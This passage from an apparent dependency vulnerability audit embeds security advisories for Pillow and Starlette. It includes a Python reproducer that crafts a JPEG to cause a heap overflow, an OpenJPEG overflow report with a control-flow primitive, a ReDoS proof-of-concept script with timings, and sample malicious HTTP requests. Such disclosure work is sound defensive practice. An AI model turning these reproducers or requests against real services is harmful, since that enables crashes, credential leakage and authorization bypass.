written to the next buffer + comment = b\"C\" * 65533 + for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30): + icc_profile = b\"I\" * n + im = self.roundtrip(hopper(), icc_profile=icc_profile, comment=comment) + assert im.info[\"icc_profile\"] == icc_profile + assert im.info[\"comment\"] == comment + def test_large_icc_meta(self, tmp_path: Path) -> None: # https://github.com/python-pillow/Pillow/issues/148 # Sometimes the meta data on the icc_profile block is bigger than diff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py index 4b8d34ca3..1d9f4c2fa 100644 --- a/src/PIL/JpegImagePlugin.py +++ b/src/PIL/JpegImagePlugin.py @@ -805,7 +805,9 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None: ) i += 1 - comment = info.get(\"comment\", im.info.get(\"comment\")) + comment = info.get(\"comment\", im.info.get(\"comment\")) or b\"\" + if isinstance(comment, str): + comment = comment.encode() # \"progressive\" is the official name, but older documentation # says \"progression\" @@ -856,10 +858,13 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None: bufsize += len(exif) + 5 if extra: bufsize += len(extra) + 1 + if comment: + bufsize += len(comment) + 5 else: # The EXIF info needs to be written as one block, + APP1, + one spare byte. - # Ensure that our buffer is big enough. Same with the icc_profile block. - bufsize = max(len(exif) + 5, len(extra) + 1) + # Ensure that our buffer is big enough. Same with the icc_profile block + # and the comment (COM marker). + bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5) ImageFile._save( im, fp, [ImageFile._Tile(\"jpeg\", (0, 0, *im.size), 0, rawmode)], bufsize diff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c index 098e431fc..b6771c6ec 100644 --- a/src/libImaging/JpegEncode.c +++ b/src/libImaging/JpegEncode.c @@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 *buf, int bytes) { case 4: if (context->comment) { + // check for comment len + 'COM' header bytes + if (context->comment_size + 5 > + context->destination.pub.free_in_buffer) { + break; + } jpeg_write_marker( &context->cinfo, JPEG_COM, ``` ## The reproducer
Reproducer \u2014 repro, 3,343 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow heap buffer overflow in ImagingJpegEncode() (src/libImaging/JpegEncode.c, case 4). # # Re-saving a JPEG with its own ICC profile, the usual \"keep the colours\" re-encode: # im = Image.open(f); im.save(out, \"JPEG\", icc_profile=im.info[\"icc_profile\"]) # If the ICC segment fills the 65536-byte encoder buffer to the last byte, the COM # marker (forwarded from im.info[\"comment\"] automatically) is written with # free_in_buffer == 0. libjpeg stores the byte, then decrements the counter, which # wraps to ~2^64, and the comment plus the whole compressed image go past the end # of the heap buffer. The Python process dies with SIGSEGV or a glibc abort. # # Runs against the stock build in /src, no rebuild. Takes about 2 seconds. import random import struct import subprocess import sys from io import BytesIO from PIL import Image # Output-buffer layout at the moment the COM marker is written: ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK; _save() never makes it bigger here JFIF_HEADER = 20 # SOI + JFIF APP0, written by jpeg_start_compress() ICC_OVERHEAD = 18 # FFE2 \"ICC_PROFILE\\0\" ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498: exact fit COMMENT = b\"C\" * 65533 # largest legal COM; content and length chosen by the file # What the victim application does with an uploaded file, run in a child process # so that we can see it die. RESAVE = \"\"\" import sys from io import BytesIO from PIL import Image im = Image.open(BytesIO(sys.stdin.buffer.read())) im.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"]) print(\"save returned normally\") \"\"\" def segment(marker, payload): return bytes([0xFF, marker]) + struct.pack(\">H\", len(payload) + 2) + payload def make_jpeg(with_comment): \"\"\"A valid 256x256 JPEG: an ICC profile of ICC_PAYLOAD bytes, optionally a COM.\"\"\" noise = random.Random(1234).randbytes(256 * 256 * 3) # ~100 KB of image data out = BytesIO() Image.frombytes(\"RGB\", (256, 256), noise).save(out, \"JPEG\", quality=95) plain = out.getvalue() icc = segment(0xE2, b\"ICC_PROFILE\\0\\x01\\x01\" + b\"I\" * ICC_PAYLOAD) com = segment(0xFE, COMMENT) if with_comment else b\"\" return plain[:2] + icc + com + plain[2:] # splice in right after SOI def resave(jpeg): # -X faulthandler: on a fatal signal, print where in Python the child died cmd = [sys.executable, \"-X\", \"faulthandler\", \"-c\", RESAVE] r = subprocess.run(cmd, input=jpeg, capture_output=True) print((r.stdout + r.stderr).decode(errors=\"replace\").strip()) print(f\"-> exit status {r.returncode}\") return r.returncode # Control: the same file without a COM segment re-saves fine, so the buffer # sizing and the ICC profile on their own are harmless. print(\"Control: re-save the JPEG without a comment\") resave(make_jpeg(with_comment=False)) # The bug: add a COM segment. The comment is now written into a buffer that has # no room left. print(f\"\\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment\") rc = resave(make_jpeg(with_comment=True)) # A negative return code means the child was killed by a signal (SIGSEGV or # SIGABRT from glibc's heap checks), not by a Python exception. if rc < 0: print(f\"\\nim.save() killed the process with signal {-rc}: out-of-bounds heap write\") print(\"BUG\") else: print(\"OK\") ```
---"}, {"id": "GHSA-78g4-xqwv-q3g8", "fix_versions": ["13.0.0"], "aliases": [], "description": "### Summary Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219 Because the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings. I am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users. Note the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure. ### Details ## Affected wheels From `.github/dependencies.json` (`openjpeg`) at each tag: | Pillow | bundled OpenJPEG | status | |---|---|---| | 10.4.0 | 2.5.2 | safe | | 11.0.0 | 2.5.2 | safe | | **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** | | **12.0.0 \u2026 12.3.0** | **2.5.4** | **affected** | Confirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` \u2192 `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06. ## The defect `src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`: ```c OPJ_UINT32 l_current_tile_part = l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno; l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos; l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_pos = l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2; ``` `tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker. The correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index && l_current_tile_part < nb_tps)`. One writer checked, its sibling not. Reached by giving the codestream a *valid* TLM marker \u2014 so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing \u2014 while setting `TNsot = 0` in every SOT, which keeps the TLM \"valid\" and lets `TPsot` walk past the allocation. ## Patch status Fixed upstream in `91d08b11` (\"Fix heap buffer overlfow in opj_j2k_read_sod\", 2026-02-10). The newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* \u2014 the fix is **in no release, 8 months on**. ## Suggested remediation 1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it \u2014 three lines, identical to a guard already present in the same file. 2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code. 3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot. ## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply `Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway. I verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`. That is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume. ### Proof of concept ASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`: ``` ==766332==ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 #0 opj_j2k_read_sod j2k.c:5086 #1 opj_j2k_read_tile_header j2k.c:9912 #2 opj_read_tile_header openjpeg.c:575 #3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793 #4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949 #5 _decode src/decode.c:132 located 8 bytes to the right of a 24-byte region allocated by opj_j2k_build_tp_index_from_tlm j2k.c:8939 ``` Frames 3\u20135 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure. I have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready. No disclosure deadline from me; I will not publish anything while this is being worked on. ### Impact Any application that calls `Image.open()` / `im.load()` on an image it did not produce \u2014 the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines \u2014 can be made to perform an out-of-bounds heap write by supplying one crafted file. **Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker. **Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides \u2014 an ordinary busy heap \u2014 the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls one (event.c:136): ``` rip 0x4000 <- value chosen by the attacker's file layout rsi 0x3ff2 <- m_error_data, written by the same walk ``` Shifting the codestream with a COM marker moves `rip` with it (`0x16ce` \u2192 `0x4000`), so the instruction pointer is attacker-**chosen** rather than incidentally invalid. A benign control image leaves the same groomed heap untouched. To be explicit about what I did not do: I have **not** built a working exploit. That additionally needs remote heap grooming and an ASLR defeat, and I attempted neither. I am reporting a controlled control-flow primitive, not a finished chain. The CVSS AC:H reflects that."}]}, {"name": "protobuf", "version": "6.33.6", "vulns": []}, {"name": "psycopg", "version": "3.2.9", "vulns": []}, {"name": "psycopg-binary", "version": "3.2.9", "vulns": []}, {"name": "psycopg-pool", "version": "3.3.3", "vulns": []}, {"name": "pycparser", "version": "3.0", "vulns": []}, {"name": "pydantic", "version": "2.11.5", "vulns": []}, {"name": "pydantic-core", "version": "2.33.2", "vulns": []}, {"name": "python-dateutil", "version": "2.9.0.post0", "vulns": []}, {"name": "redis", "version": "5.2.1", "vulns": []}, {"name": "requests", "version": "2.34.2", "vulns": []}, {"name": "s3transfer", "version": "0.13.1", "vulns": []}, {"name": "six", "version": "1.17.0", "vulns": []}, {"name": "starlette", "version": "0.46.2", "vulns": [{"id": "PYSEC-2026-1941", "fix_versions": ["0.47.2"], "aliases": ["GHSA-2c2j-9gv5-cj73", "CVE-2025-54121"], "description": "### Summary When parsing a multi-part form with large files (greater than the [default max spool size](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/formparsers.py#L126)) `starlette` will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections. ### Details Please see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from [here](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/datastructures.py#L436C5-L447C14)) has a minor bug. Instead of just checking for `self._in_memory` we should also check if the additional bytes will cause a rollover. ```python @property def _in_memory(self) -> bool: # check for SpooledTemporaryFile._rolled rolled_to_disk = getattr(self.file, \"_rolled\", True) return not rolled_to_disk async def write(self, data: bytes) -> None: if self.size is not None: self.size += len(data) if self._in_memory: self.file.write(data) else: await run_in_threadpool(self.file.write, data) ``` I have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962 ### PoC See the discussion [here](https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403) for steps on how to reproduce. ### Impact To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down `starlette` that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact."}, {"id": "PYSEC-2026-1942", "fix_versions": ["0.49.1"], "aliases": ["GHSA-7f5h-v6xp-fcq8", "CVE-2025-62727"], "description": "### Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`). ### Details Starlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm. ```python # starlette/responses.py _RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS class FileResponse(Response): @staticmethod def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range_ = http_range.split(\"=\", 1) except ValueError: raise MalformedRangeHeader() # [...] ranges = [ ( int(_[0]) if _[0] else file_size - int(_[1]), int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size, ) for _ in _RANGE_PATTERN.findall(range_) # vulnerable if _ != (\"\", \"\") ] ``` The parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity. The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons. This affects any Starlette application that uses: - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178` - Direct ``starlette.responses.FileResponse`` responses ### PoC ```python #!/usr/bin/env python3 import sys import time try: import starlette from starlette.responses import FileResponse except Exception as e: print(f\"[ERROR] Failed to import starlette: {e}\") sys.exit(1) def build_payload(length: int) -> str: \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\" return (\"0\" * length) + \"a-\" def test(header: str, file_size: int) -> float: start = time.perf_counter() try: FileResponse._parse_range_header(header, file_size) except Exception: pass end = time.perf_counter() elapsed = end - start return elapsed def run_once(num_zeros: int) -> None: range_body = build_payload(num_zeros) header = \"bytes=\" + range_body # Use a sufficiently large file_size so upper bounds default to file size file_size = max(len(range_body) + 10, 1_000_000) print(f\"[DEBUG] range_body length: {len(range_body)} bytes\") elapsed_time = test(header, file_size) print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\") if __name__ == \"__main__\": print(f\"[INFO] Starlette Version: {starlette.__version__}\") for n in [5000, 10000, 20000, 40000]: run_once(n) \"\"\" $ python3 poc_dos_range.py [INFO] Starlette Version: 0.48.0 [DEBUG] range_body length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds [DEBUG] range_body length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds [DEBUG] range_body length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds [DEBUG] range_body length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds \"\"\" ``` ### Impact Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header."}, {"id": "PYSEC-2026-161", "fix_versions": ["1.0.1"], "aliases": ["GHSA-86qp-5c8j-p5mr", "CVE-2026-48710", "X41-2026-002"], "description": "Starlette reconstructs the requested URL based on the HTTP Host request header and requested path, but does not perform any validation of the Host header value. This allows attackers to inject paths into the host part, prepending the actual path. However, routing in Starlette is based on the actual request path. This inconsistent interpretation of HTTP requests may lead to issues such as authentication bypass when the authentication depends on the reconstructed URL\u2019s path."}, {"id": "PYSEC-2026-161", "fix_versions": ["1.0.1"], "aliases": ["GHSA-86qp-5c8j-p5mr", "CVE-2026-48710", "X41-2026-002"], "description": "### Summary In affected versions, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`. Because the routing algorithm relies on the raw HTTP path while `request.url` is rebuilt from the `Host` header, a malformed header could make `request.url.path` differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on `request.url` (rather than the raw `scope` path) could therefore be bypassed. ### Details When a client requests `http://example.com/foo`, it sends: ```http GET /foo HTTP/1.1 Host: example.com ``` Affected versions reconstructed the URL by concatenating `http://{host}{path}` and re-parsing the result. The `Host` value is only valid as a `uri-host [ \":\" port ]` per [RFC 9112 \u00a73.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6), where `uri-host` follows the restricted `host` grammar of [RFC 3986 \u00a73.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2). When it contains characters outside that grammar - notably `/`, `?`, or `#` - those characters move the path/query/fragment boundaries during re-parsing, so the parsed `request.url.path` no longer matches the path the server actually received. For example: ```http GET /foo HTTP/1.1 Host: example.com/abc?bar= ``` reconstructs to `http://example.com/abc?bar=/foo`, whose parsed `path` is `/abc` - even though routing used the real path `/foo`. The router still dispatches to `/foo` and the endpoint executes, but any middleware or code that reads `request.url.path` sees `/abc`, so path-based authorization checks can be bypassed. ### Impact Any application running an affected version that relies on `request.url` (or `request.url.path`) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on `request.url.path`. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed `Host` header before forwarding and the application does not trust attacker-controlled host headers (e.g. `X-Forwarded-Host`) elsewhere. ### Mitigation Upgrade to a patched version, which validates the `Host` header against the grammar of [RFC 9112 \u00a73.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6) / [RFC 3986 \u00a73.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2) when constructing `request.url` and falls back to `scope[\"server\"]` for malformed values."}, {"id": "PYSEC-2026-2281", "fix_versions": ["1.1.0"], "aliases": ["GHSA-wqp7-x3pw-xc5r", "CVE-2026-48818"], "description": "### Summary When serving static files on Windows, `StaticFiles` resolves the requested path with [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). If a UNC path (such as `\\\\attacker.com\\share`) reaches the resolver, `realpath` causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts. ### Details `StaticFiles.lookup_path()` joins the requested path onto the served directory and calls [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath) on the result before checking containment with [`os.path.commonpath`](https://docs.python.org/3/library/os.path.html#os.path.commonpath). On Windows, a UNC path is absolute, so [`os.path.join`](https://docs.python.org/3/library/os.path.html#os.path.join) discards the served directory and `realpath` resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected. This only affects the default configuration (`follow_symlink=False`), which uses [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). The `follow_symlink=True` branch uses [`os.path.abspath`](https://docs.python.org/3/library/os.path.html#os.path.abspath), which performs no I/O. ### Impact Applications running on Windows that serve files with `StaticFiles` (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. `StaticFiles` is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses. ### Mitigation Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of `StaticFiles` avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved."}, {"id": "PYSEC-2026-2280", "fix_versions": ["1.1.0"], "aliases": ["CVE-2026-48817", "GHSA-x746-7m8f-x49c"], "description": "### Summary When dispatching a request, `HTTPEndpoint` selects the handler by lowercasing the HTTP method and looking it up as an attribute with `getattr`, without restricting the lookup to a known set of HTTP verbs. When an `HTTPEndpoint` subclass is registered through `Route(...)` without an explicit `methods=` argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. ### Details `HTTPEndpoint` uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as `_DO_DELETE` therefore resolves an attribute like `_do_delete` and invokes it. Non-standard methods are valid [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-method) token methods, so an endpoint must not treat the method name as a trusted attribute selector. ### Impact An application is affected when all of the following hold: * It defines an `HTTPEndpoint` subclass and registers it via `Route(...)` without an explicit `methods=` argument. * The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single `request` argument and return a response. This also affects frameworks built on Starlette, like FastAPI. ### Mitigation Register `HTTPEndpoint` subclasses with an explicit `methods=` argument on the `Route`, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with `405 Method Not Allowed` before it reaches the endpoint, so non-standard methods cannot resolve an attribute."}, {"id": "PYSEC-2026-249", "fix_versions": ["1.3.1"], "aliases": ["GHSA-82w8-qh3p-5jfq", "CVE-2026-54283"], "description": "### Summary `request.form()` accepts `max_fields` and `max_part_size` to bound resource consumption while parsing form data. These limits are enforced for `multipart/form-data`, but silently ignored for `application/x-www-form-urlencoded`. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. ### Details `request.form()` dispatches to a different parser depending on the `Content-Type`. For `multipart/form-data` the `max_files`, `max_fields`, and `max_part_size` limits are forwarded to the parser, but for `application/x-www-form-urlencoded` the parser is constructed without them. It has no `max_fields` or `max_part_size` parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies. Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects: - **Field count** drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as `f0=v&f1=v&...`) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request. - **Field size** drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the `FormData`, forcing memory allocation proportional to the request body. The equivalent `multipart/form-data` request is correctly rejected with `400 Too many fields` / `400 Field exceeded maximum size`. ### Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call `request.form()` on `application/x-www-form-urlencoded` requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop. ### Mitigation Upgrade to a patched version, which forwards `max_fields` and `max_part_size` to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match `multipart/form-data` (`max_fields=1000`, `max_part_size=1MB`) and can be customized via `request.form(max_fields=..., max_part_size=...)`."}, {"id": "PYSEC-2026-248", "fix_versions": ["1.3.0"], "aliases": ["CVE-2026-54282", "GHSA-jp82-jpqv-5vv3"], "description": "### Summary In affected versions, the HTTP request path is not validated before being used to reconstruct `request.url`. Because `request.url` is rebuilt by concatenating `{scheme}://{host}{path}` and re-parsing the result, a path that does not begin with `/` (for example `@google.com`) moves the authority boundary during re-parsing, so `request.url.hostname` and `request.url.netloc` become attacker-controlled. Code that reads `request.url.hostname` (rather than the `Host` header or `scope`) can therefore be misled into trusting an attacker-supplied host. ### Details When a client requests a path that does not start with `/`: ```http GET @google.com HTTP/1.1 Host: localhost ``` affected versions reconstruct the URL as `http://localhost@google.com`. Per [RFC 3986 \u00a73.2.1](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.1), the substring before `@` in the authority is `userinfo`, so re-parsing yields `username = \"localhost\"` and `hostname = \"google.com\"`, with an empty path: ```text request.url == \"http://localhost@google.com\" request.url.hostname == \"google.com\" request.url.path == \"\" ``` The root cause is that the path is concatenated directly after the host without a separating `/`, and without validating that it begins with one. Only the `Host` header was validated when constructing `request.url`; the path was not. This requires an ASGI server that forwards a request-target lacking a leading `/` into `scope[\"path\"]`. ### Impact Any application running an affected version that uses `request.url`, `request.url.netloc`, or `request.url.hostname` for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first. Note that this is less exploitable than [GHSA-86qp-5c8j-p5mr](https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr): there, the poison is carried in the `Host` header, so the real path still routes to a valid endpoint while `request.url.path` lies. Here, the poison must be carried in the path itself, and that path (`@google.com`) does not match any registered route, so routing returns `404` and no endpoint handler runs. The exposure is limited to code that reads `request.url` before routing - notably middleware - or in 404/exception handlers. ### Mitigation Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields `http://localhost/@google.com` with `request.url.hostname == \"localhost\"`."}, {"id": "PYSEC-2026-249", "fix_versions": ["1.3.1"], "aliases": ["GHSA-82w8-qh3p-5jfq", "CVE-2026-54283"], "description": "Starlette is a lightweight ASGI framework/toolkit. From 0.4.1 until 1.3.1, request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. This vulnerability is fixed in 1.3.1."}, {"id": "PYSEC-2026-248", "fix_versions": ["1.3.0"], "aliases": ["CVE-2026-54282", "GHSA-jp82-jpqv-5vv3"], "description": "Starlette is a lightweight ASGI framework/toolkit. Prior to 1.3.0, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host. This vulnerability is fixed in 1.3.0."}, {"id": "PYSEC-2026-1942", "fix_versions": ["0.49.1"], "aliases": ["GHSA-7f5h-v6xp-fcq8", "CVE-2025-62727"], "description": "### Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`). ### Details Starlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm. ```python # starlette/responses.py _RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS class FileResponse(Response): @staticmethod def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range_ = http_range.split(\"=\", 1) except ValueError: raise MalformedRangeHeader() # [...] ranges = [ ( int(_[0]) if _[0] else file_size - int(_[1]), int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size, ) for _ in _RANGE_PATTERN.findall(range_) # vulnerable if _ != (\"\", \"\") ] ``` The parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity. The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons. This affects any Starlette application that uses: - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178` - Direct ``starlette.responses.FileResponse`` responses ### PoC ```python #!/usr/bin/env python3 import sys import time try: import starlette from starlette.responses import FileResponse except Exception as e: print(f\"[ERROR] Failed to import starlette: {e}\") sys.exit(1) def build_payload(length: int) -> str: \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\" return (\"0\" * length) + \"a-\" def test(header: str, file_size: int) -> float: start = time.perf_counter() try: FileResponse._parse_range_header(header, file_size) except Exception: pass end = time.perf_counter() elapsed = end - start return elapsed def run_once(num_zeros: int) -> None: range_body = build_payload(num_zeros) header = \"bytes=\" + range_body # Use a sufficiently large file_size so upper bounds default to file size file_size = max(len(range_body) + 10, 1_000_000) print(f\"[DEBUG] range_body length: {len(range_body)} bytes\") elapsed_time = test(header, file_size) print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\") if __name__ == \"__main__\": print(f\"[INFO] Starlette Version: {starlette.__version__}\") for n in [5000, 10000, 20000, 40000]: run_once(n) \"\"\" $ python3 poc_dos_range.py [INFO] Starlette Version: 0.48.0 [DEBUG] range_body length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds [DEBUG] range_body length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds [DEBUG] range_body length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds [DEBUG] range_body length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds \"\"\" ``` ### Impact Any Starlette app serving files 